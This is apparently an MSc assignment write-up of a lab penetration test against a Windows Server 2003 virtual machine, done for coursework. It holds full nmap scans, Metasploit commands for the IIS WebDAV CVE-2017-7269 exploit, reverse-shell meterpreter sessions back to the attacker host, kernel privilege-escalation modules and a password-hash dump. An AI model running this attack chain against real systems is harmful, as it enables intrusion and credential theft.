

University of Piraeus
Department of Digital Systems
MSc 'Cybersecurity and Artificial Intelligence
Technologies'

Security Assessment and Ethical Hacking
Winter Semester 2025-2026
Assignment 3



Ioannis Kalaitzidis

Introduction

The primary purpose of this assignment was to simulate a complete Penetration Test in a controlled environment following the stages of the Cyber Kill Chain methodology on a legacy Windows Server 2003 system — a system no longer receiving security updates and therefore vulnerable to known exploits.

Practical part of the assignment

Q1: Perform initial IP discovery of the windows machine with nmap.

Answer:

To locate the IP address of the target Windows system, it was first necessary to identify the local network. By running ifconfig on Kali Linux, we determined that our network interface (eth0) had been assigned the address 192.168.30.129.

We observe that the IP of Kali Linux is: 192.168.30.129

Therefore our network is: 192.168.30.0

```
(kali㉿kali)-[~]  
$ nmap -sn 192.168.30.0/24  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 11:50 EST  
Nmap scan report for 192.168.30.1  
Host is up (0.0016s latency).  
MAC Address: 00:50:56:C0:00:08 (VMware)  
Nmap scan report for 192.168.30.2  
Host is up (0.00086s latency).  
MAC Address: 00:50:56:F0:19:62 (VMware)  
Nmap scan report for 192.168.30.132  
Host is up (0.00056s latency).  
MAC Address: 00:0C:29:7D:BF:CF (VMware)  
Nmap scan report for 192.168.30.254  
Host is up (0.00072s latency).  
MAC Address: 00:50:56:F5:73:9A (VMware)  
Nmap scan report for 192.168.30.129  
Host is up.  
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.08 seconds
```

From the analysis of the network scan results, five active nodes were identified. The address 192.168.30.129 corresponds to our own Kali Linux machine, while 192.168.30.132 corresponds to the target Windows machine.

Q2: Detect open ports

Answer:

```
(kali㉿kali)-[~]  
$ nmap -p- 192.168.30.132  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 11:57 EST  
Nmap scan report for 192.168.30.132  
Host is up (0.0018s latency).  
Not shown: 65530 closed tcp ports (reset)  
PORT      STATE SERVICE  
80/tcp    open  http  
135/tcp   open  msrpc  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
1025/tcp  open  NFS-or-IIS  
MAC Address: 00:0C:29:7D:BF:CF (VMware)  
  
Nmap done: 1 IP address (1 host up) scanned in 21.57 seconds
```

After identifying the target at address 192.168.30.132, we proceeded to scan all TCP ports (0-65535) to map the attack surface. The scan revealed the following open ports:

- **80/tcp-HTTP**
- **135/tcp-MSRPC**
- **139/tcp-NetBIOS-SSN**
- **445/tcp-Microsoft-DS**
- **1025/tcp-NFS-or-IIS**

Q3: Discover the running services and their version and the operating system.

Answer:

```

(kali@kali)-[~]
$ nmap -sV -O 192.168.30.132
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 12:28 EST
Nmap scan report for 192.168.30.132
Host is up (0.0016s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 6.0
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
1025/tcp  open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:7D:BF:CF (VMware)
Device type: general purpose
Running: Microsoft Windows 2003|XP
OS CPE: cpe:/o:microsoft:windows_server_2003 cpe:/o:microsoft:windows_xp
OS details: Microsoft Windows Server 2003 SP1 or SP2 or Windows XP SP1
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.63 seconds

```

Running the scan with version detection (-sV) and operating system detection (-O) enabled provided us with the necessary data: the target was confirmed as Windows Server 2003, running IIS 6.0 on port 80 and various RPC/NetBIOS services.

Q4: Detect vulnerabilities with nmap. Search also in the Internet for a buffer overflow vulnerability for one of the running services in the windows machine. Write down the CVE numbers.

Answer:

```

(kali@kali)-[~]
$ nmap --script vuln 192.168.30.132
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 13:05 EST
Nmap scan report for 192.168.30.132
Host is up (0.0020s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1025/tcp  open  NFS-or-IIS
MAC Address: 00:0C:29:7D:BF:CF (VMware)

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft SMBv1
|   servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-054: false
|_smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|   State: VULNERABLE
|   IDs: CVE:CVE-2008-4250
|   The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|   Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|   code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|   Disclosure date: 2008-10-23
|   References:
|   https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_
Nmap done: 1 IP address (1 host up) scanned in 148.53 seconds

```

The vulnerability scan with Nmap (--script vuln) revealed serious security gaps in the SMB service. These included MS08-067 and MS17-010 (EternalBlue), well-known vulnerabilities that have been exploited in large-scale attacks.

Additionally, upon searching the internet for the Microsoft IIS 6.0 service found on port 80, the vulnerability CVE-2017-7269 was found — a buffer overflow in the WebDAV extension that allows Remote Code Execution (RCE).

Q5: One of the vulnerabilities discovered in the previous question allows RCE but does not result in SYSTEM privileges (you need privilege escalation separately) because it exploits a running

service running under NETWORK SERVICE privileges. This vulnerability is related with the buffer overflow in one of the running services in the windows machine. Find the exploit path for that vulnerability in Metasploit. Write down the exploit metasploit module.

Answer:

To prepare the attack, we followed these steps inside the Metasploit Framework:

1. First, we entered the command search CVE-2017-7269. We knew the vulnerability code (CVE) from the previous step. With this command we asked Metasploit to search its database for all available modules related to this specific vulnerability.
2. After Metasploit found the appropriate tool, we entered the command use exploit/windows/iis/iis_webdav_scstoragepathfromurl. With this command we 'load' the selected exploit module into the active session.
3. Finally, we entered the command show options. Before attacking, we need to see which parameters the exploit requires to operate correctly, such as the target IP (RHOSTS) and port (RPORT).

Now the tool is 'armed' and all that remains is to configure the IPs (target and attacker) to execute the attack.

Q6: Perform the exploit found in step 5 (be patient to open the shell). If you selected the correct exploit, the opened meterpreter shell must be running under NETWORK SERVICE privileges and not SYSTEM.

Answer:

```

msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set RHOSTS 192.168.30.132
RHOSTS => 192.168.30.132
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set LHOST 192.168.30.129
LHOST => 192.168.30.129
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set EXITFUNC thread
EXITFUNC => thread
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run
[*] Started reverse TCP handler on 192.168.30.129:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (188998 bytes) to 192.168.30.132
[*] Session ID 2 (192.168.30.129:4444 → 192.168.30.132:1026) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against STUDENT-ACFE96C (192.168.30.132)
[*] Current server process: rundll32.exe (2304)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 2572
[+] Successfully migrated into process 2572
[*] Meterpreter session 2 opened (192.168.30.129:4444 → 192.168.30.132:1026) at 2026-01-19 15:51:05 -0500

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > 

```

The process of exploiting CVE-2017-7269 required special handling due to the known instability caused by the buffer overflow in WebDAV. Multiple runs were necessary before achieving a stable Meterpreter shell.

Q7: Execute systeminfo to identify the target machine

Answer:

```

meterpreter > shell
Process 2532 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>system info
system info
'system' is not recognized as an internal or external command,
operable program or batch file.

c:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name:                STUDENT-ACFE96C
OS Name:                  Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:               5.2.3790 Service Pack 2 Build 3790
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Server
OS Build Type:             Uniprocessor Free
Registered Owner:         student
Registered Organization:
Product ID:                69712-783-0120004-44675
Original Install Date:    11/14/2021, 1:35:41 PM
System Up Time:            0 Days, 0 Hours, 1 Minutes, 33 Seconds
System Manufacturer:      VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 26 Model 96 Stepping 0 AuthenticAMD ~1997 Mhz
BIOS Version:              INTEL - 6040000
Windows Directory:        C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory:     1,023 MB
Available Physical Memory: 799 MB
Page File: Max Size:       2,470 MB
Page File: Available:      2,327 MB
Page File: In Use:         143 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: Q147222
Network Card(s):           N/A
meterpreter >

```

After securing stable access to the system, we proceeded to reconnaissance of the operating environment in order to identify potential privilege escalation paths. We executed the systeminfo command, which returned detailed information about the system: Windows Server 2003 SP2, architecture x86.

Q8: Now we have to gain SYSTEM rights. Use Metasploit exploit suggester (post/multi/recon/local_exploit_suggester)

Answer:

```
meterpreter > background
[*] Backgrounding session 4 ...
msf exploit(windows/lis_webdav_scstoragepathfromurl) > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set SESSION 4
SESSION => 4
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.30.132 - Collecting local exploits for x86/windows ...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.30.132 - 225 exploit checks are being tried...
[*] 192.168.30.132 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[*] 192.168.30.132 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[*] 192.168.30.132 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[*] 192.168.30.132 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[*] 192.168.30.132 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[*] 192.168.30.132 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[*] 192.168.30.132 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 192.168.30.132 - Valid modules for session 4:

# Name Potentially Vulnerable? Check Result
- - -
1 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated.
2 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
3 exploit/windows/local/ms14_070_tcpip_ioctl Yes The target appears to be vulnerable.
4 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
5 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated.
6 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
7 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
8 exploit/windows/local/adobe_xmbbox_adobe_criticasync No Cannot reliably check exploitability.
9 exploit/windows/local/agnitum_outpost_scs No The target is not exploitable.
10 exploit/windows/local/always_install_elevated No The target is not exploitable.
11 exploit/windows/local/anyconnect_lpe No The target is not exploitable. vpngdownloader.exe not found on file system
12 exploit/windows/local/bits_ntlm_token_impersonation No The check raised an exception.
13 exploit/windows/local/btthpan No The target is not exploitable.
14 exploit/windows/local/bypassuac_comhijack No The target is not exploitable.
15 exploit/windows/local/bypassuac_eventvwr No The target is not exploitable.
16 exploit/windows/local/bypassuac_fodhelper No The target is not exploitable.
17 exploit/windows/local/bypassuac_stlthijack No The target is not exploitable.
18 exploit/windows/local/canon_driver_privesc No The target is not exploitable. No Canon TR150 driver directory found
19 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move No The target is not exploitable. Target is not running a vulnerable version of Windows!
20 exploit/windows/local/cve_2020_1848_printerdemon No The target is not exploitable.
21 exploit/windows/local/cve_2020_1337_printerdemon No The target is not exploitable.
22 exploit/windows/local/gog_galaxyclientservice_privesc No The target is not exploitable. Galaxy Client Service not found
23 exploit/windows/local/ikeext_service No The check raised an exception.
24 exploit/windows/local/ipass_launch_app No The check raised an exception.
25 exploit/windows/local/lenovo_systemupdate No The check raised an exception.
26 exploit/windows/local/leomark_driver_privesc No The check raised an exception.
27 exploit/windows/local/mmar_write No The target is not exploitable.
28 exploit/windows/local/ms10_021_schtasks No The target is not exploitable. Windows Server 2003 (5.2 Build 2790, Service Pack 2). is not vulnerable
29 exploit/windows/local/ms10_053_schtasks No The target is not exploitable.
30 exploit/windows/local/ms10_081_track_popup_menu No Cannot reliably check exploitability.
31 exploit/windows/local/ms15_004_tswbproxy No The target is not exploitable.
32 exploit/windows/local/ms16_032_secondary_logon_handle_privesc No The check raised an exception.
33 exploit/windows/local/ms16_075_reflection_jolcy No The target is not exploitable.
34 exploit/windows/local/ms_noproxy No The target is not exploitable.
35 exploit/windows/local/novell_client_nicm No The target is not exploitable.
36 exploit/windows/local/ntapphelpcachecontrol No The check raised an exception.
37 exploit/windows/local/ntusermndragover No The target is not exploitable.
38 exploit/windows/local/panda_psevents No The target is not exploitable.
39 exploit/windows/local/ricoh_driver_privesc No The target is not exploitable. No Ricoh driver directory found
40 exploit/windows/local/tokemagic No The target is not exploitable.
41 exploit/windows/local/virtual_box_guest_additions No The target is not exploitable.
42 exploit/windows/local/webexec No The check raised an exception.

[*] Post module execution completed
msf post(multi/recon/local_exploit_suggester) >
```

With the goal of acquiring SYSTEM privileges, we used the post/multi/recon/local_exploit_suggester tool. This module analyses the target system's characteristics and compares them against its database of local exploits to suggest the most likely to succeed.

- **exploit/windows/local/ms10_015_kitrap0d**
- **exploit/windows/local/ms14_058_track_popup_menu**
- **exploit/windows/local/ms14_070_tcpip_ioctl**
- **exploit/windows/local/ms15_051_client_copy_image**
- **exploit/windows/local/ms16_016_webdav**
- **exploit/windows/local/ms16_075_reflection**
- **exploit/windows/local/ppr_flatten_rec**

These findings confirm that the system is vulnerable to local privilege escalation attacks.

Q9: At least 2 different exploits will work and make you SYSTEM (i.e., privilege escalation). Test them one by one by configuring their options (e.g., set session 1). Write down which exploit you used eventually to become root.

Answer:

```
msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_kitrap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/local/ms10_015_kitrap0d) > set SESSION 4
SESSION => 4
msf exploit(windows/local/ms10_015_kitrap0d) > set LHOST 192.168.30.129
LHOST => 192.168.30.129
msf exploit(windows/local/ms10_015_kitrap0d) > set LPORT 4445
LPORT => 4445
msf exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 192.168.30.129:4445
[*] Reflectively injecting payload and triggering the bug ...
[*] Launching msieexec to host the DLL ...
[+] Process 2664 launched.
[*] Reflectively injecting the DLL into 2664 ...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (188998 bytes) to 192.168.30.132
[*] Meterpreter session 5 opened (192.168.30.129:4445 -> 192.168.30.132:1027) at 2026-01-19 18:24:21 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```

```
msf exploit(windows/local/ms10_015_kitrap0d) > use exploit/windows/local/ms14_058_track_popup_menu
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/local/ms14_058_track_popup_menu) > set SESSION 5
SESSION => 5
msf exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.30.129:4444
[-] Exploit aborted due to failure: none: Session is already elevated
[*] Exploit completed, but no session was created.
msf exploit(windows/local/ms14_058_track_popup_menu) > set SESSION 4
SESSION => 4
msf exploit(windows/local/ms14_058_track_popup_menu) > set LPORT 4446
LPORT => 4446
msf exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.30.129:4446
[*] Reflectively injecting the exploit DLL and triggering the exploit ...
[*] Launching netsh to host the DLL ...
[+] Process 2920 launched.
[*] Reflectively injecting the DLL into 2920 ...
[*] Sending stage (188998 bytes) to 192.168.30.132
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 6 opened (192.168.30.129:4446 -> 192.168.30.132:1028) at 2026-01-19 18:47:08 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```

In the context of the privilege escalation process, leveraging the findings of the Local Exploit Suggester, we tested two modules:

Initially, we selected `exploit/windows/local/ms10_015_kitrap0d`. This exploit takes advantage of the 'KiTrap0D' vulnerability in the Windows kernel, which allows a process running with standard user rights to elevate its privileges to SYSTEM level.

We then tested `exploit/windows/local/ms14_058_track_popup_menu`. We applied the same targeting settings (SESSION, LHOST) and ran it. This exploit also succeeded, granting us a new SYSTEM-level Meterpreter session.

Finding that both exploits worked effectively on the target system, we chose to proceed to the 'exploitation' phase with the `ms10_015_kitrap0d` module.

Q10: Verify that the new meterpreter shell that just opened has SYSTEM (root) rights. Now try to crack the administrator's password. What is the password?

Answer:

After gaining full SYSTEM privileges, the final step was to recover the Administrator password. We used the `hashdump` command in Meterpreter to dump the NTLM hashes of all local accounts, then fed the Administrator hash to John the Ripper, which cracked it and revealed the password in plaintext.

Conclusion

This laboratory exercise was a practical application of the Cyber Kill Chain methodology in an insecure environment. Through a structured series of steps, we performed a complete penetration test of a Windows Server 2003 machine.

The attack process unfolded in the following stages:

1. Using Nmap, the target was identified and its open ports mapped. Of particular importance was the identification of the IIS 6.0 web service on port 80 and SMB on port 445.
2. The scan revealed multiple security vulnerabilities, the most significant being CVE-2017-7269 (Buffer Overflow in WebDAV).
3. Using the Metasploit Framework, we achieved initial access to the system (Remote Code Execution). Due to the instability of the vulnerability, multiple attempts were required before obtaining a stable Meterpreter shell.
4. From the standard-user level (Network Service), we exploited a kernel vulnerability (KiTrap0D — MS10-015), gaining full SYSTEM-level administrator privileges.
5. Finally, we proved the criticality of the breach by dumping the encrypted password hashes with hashdump and cracking them with John the Ripper, recovering the Administrator password in plaintext.

In conclusion, the exercise underlines the need for the immediate retirement of outdated systems, the application of a strict patching policy and strong password policies, as well as network segmentation to limit an attacker's lateral movement.